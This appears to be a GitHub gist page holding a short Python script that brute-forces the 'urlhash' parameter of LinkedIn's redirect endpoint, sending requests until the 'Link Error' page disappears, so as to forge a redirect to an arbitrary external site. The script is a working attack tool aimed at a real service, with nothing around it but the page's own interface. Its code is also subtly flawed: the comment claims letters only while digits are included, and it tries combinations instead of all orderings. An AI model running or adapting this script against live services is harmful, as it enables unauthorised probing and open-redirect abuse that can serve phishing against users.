Skip to content

Instantly share code, notes, and snippets.

@nmcv
Created March 30, 2014 22:33
Show Gist options
  • Save nmcv/9881055 to your computer and use it in GitHub Desktop.
Save nmcv/9881055 to your computer and use it in GitHub Desktop.
Python-requests and Urllib code stub
#!/bin/env python3
from itertools import combinations
import re
import string
import requests
# Target-related
url = "http://www.linkedin.com/redir/redirect?url=http%3A%2F%2Fblog%2Esuperl33tsite%2Ecom%2F&urlhash="
# All possible combos of four ASCII letters
payloads = [''.join(p) for p in combinations(string.ascii_letters + string.digits, 4)]
print("Requesting LinkedIn redirect page...")
cnt = 0
for payload in payloads:
print("Trying {}".format(payload))
rq_get = requests.get(url + payload)
error_stmt = re.findall(r'<h1>Link Error</h1>', rq_get.text)
if error_stmt:
# Wrong URL hash
cnt += 1
print('nope')
else:
# Found the correct URL hash
print('Found the right hash {}'.format(payload))
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment